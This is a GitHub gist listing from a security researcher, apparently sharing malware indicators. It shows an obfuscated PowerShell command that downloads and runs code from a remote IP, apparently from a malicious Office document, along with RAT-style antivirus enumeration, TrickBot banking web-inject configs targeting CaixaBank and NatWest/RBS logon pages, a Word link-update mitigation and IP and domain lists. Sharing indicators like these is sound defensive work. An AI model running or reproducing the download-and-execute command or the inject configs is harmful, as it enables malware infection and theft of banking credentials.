Bryan Campbell brycampbell
brycampbell
/ gist:8ae6437b1e7121f796ea33fd98c97300
Created
January 19, 2018 10:02
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| c:\Windows\system32\cmd.exe /k Echo Microsoft Office Document YES && pow^ers^hell.e^xe -W hidden -Exec Bypass -nologo -noprofile -c IEX(New-Object Net.WebClient).DownloadString('http://185.176.221[.]146/download/s/GTz') |
brycampbell
/ gist:757db42fc0c1be44e36f4097a13be3ed
Created
January 18, 2018 11:43
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Typical RAT like behavior using wmic for detection of installed security produts | |
| "WMIC /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List" (Indicator: "root\cimv2") | |
| "root\cimv2" (Indicator: "root\cimv2") | |
| "Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2") | |
| Set colItems = oWMI.ExecQuery("Select * from FirewallProduct") | |
| For Each objItem in colItems | |
| With objItem | |
| WScript.Echo "{""FIREWALL"":""" & .displayName & """}" | |
| End With |
brycampbell
/ gist:1d54dfb9c877a8a2cbf2f7c967c394bf
Created
November 8, 2017 11:37
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <dinj> | |
| <lm>*caixabank.es/particular/*html*</lm> | |
| <hl>http://92.63.105.118/response.php</hl> | |
| <pri>100</pri> | |
| <sq>2</sq> | |
| <ignore_mask>*.gif*</ignore_mask> | |
| <ignore_mask>*.jpg*</ignore_mask> | |
| <ignore_mask>*.png*</ignore_mask> | |
| <ignore_mask>*.js*</ignore_mask> | |
| <ignore_mask>*.css*</ignore_mask> |
brycampbell
/ gist:b06547b02ced79ae58840acb75243c70
Created
November 8, 2017 11:37
trickbot_08_11_2017
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <sinj> | |
| <mm>https://www.bankline.natwest.com*</mm> | |
| <sm>https://www.bankline.natwest.com/CWSLogon/logon.do*</sm> | |
| <nh>ccsarewkpsmofyibdhqcgvnltzxj.net</nh> | |
| <srv>195.133.144.126:443</srv> | |
| </sinj> | |
| <sinj> | |
| <mm>https://www.bankline.rbs.com*</mm> | |
| <sm>https://www.bankline.rbs.com/CWSLogon/logon.do*</sm> | |
| <nh>cdsarpwtfdxysnmgejvzbicolqku.net</nh> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Windows Registry Editor Version 5.00 | |
| [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options] | |
| "DontUpdateLinks"=dword:00000001 | |
| [HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options] | |
| "DontUpdateLinks"=dword:00000001 | |
| [HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options] | |
| "DontUpdateLinks"=dword:00000001 |
brycampbell
/ IPs.txt
Created
September 28, 2017 09:46
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 5.2.76.29 | |
| 5.12.28.0 | |
| 5.20.186.52 | |
| 5.45.64.113 | |
| 5.45.67.36 | |
| 5.45.84.9 | |
| 5.45.86.128 | |
| 5.107.95.27 | |
| 5.133.179.13 | |
| 5.133.179.236 |
brycampbell
/ gist:21393057b99b85749e96ef2469fea7c3
Created
September 28, 2017 09:27
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| addicted2success.com,2017-09-20 01:10:57,2017-09-21 06:54:59,registered | |
| imagesq2a.voldoor-sibir.ru,2017-09-21 06:54:06,2017-09-21 06:54:06,registered | |
| apwvx.adsbtrack.com,2017-09-19 11:08:10,2017-09-21 06:53:30,registered | |
| oc.machnik.de.com,2017-09-21 06:44:28,2017-09-21 06:44:28,registered | |
| www.conversechuckssale.de.com,2017-09-21 06:44:06,2017-09-21 06:44:06,registered | |
| skatismoshop.com.br,2017-09-21 06:44:00,2017-09-21 06:44:00,registered | |
| www.youporn.com,2017-09-19 19:28:35,2017-09-21 06:42:12,registered | |
| insights.masterlease.uk.com,2017-09-21 06:41:00,2017-09-21 06:41:00,registered | |
| disney.hammonds.uk.com,2017-09-21 06:39:56,2017-09-21 06:39:56,registered | |
| w9p9n.gengdflauraceous.review,2017-09-21 06:36:23,2017-09-21 06:36:23,registered |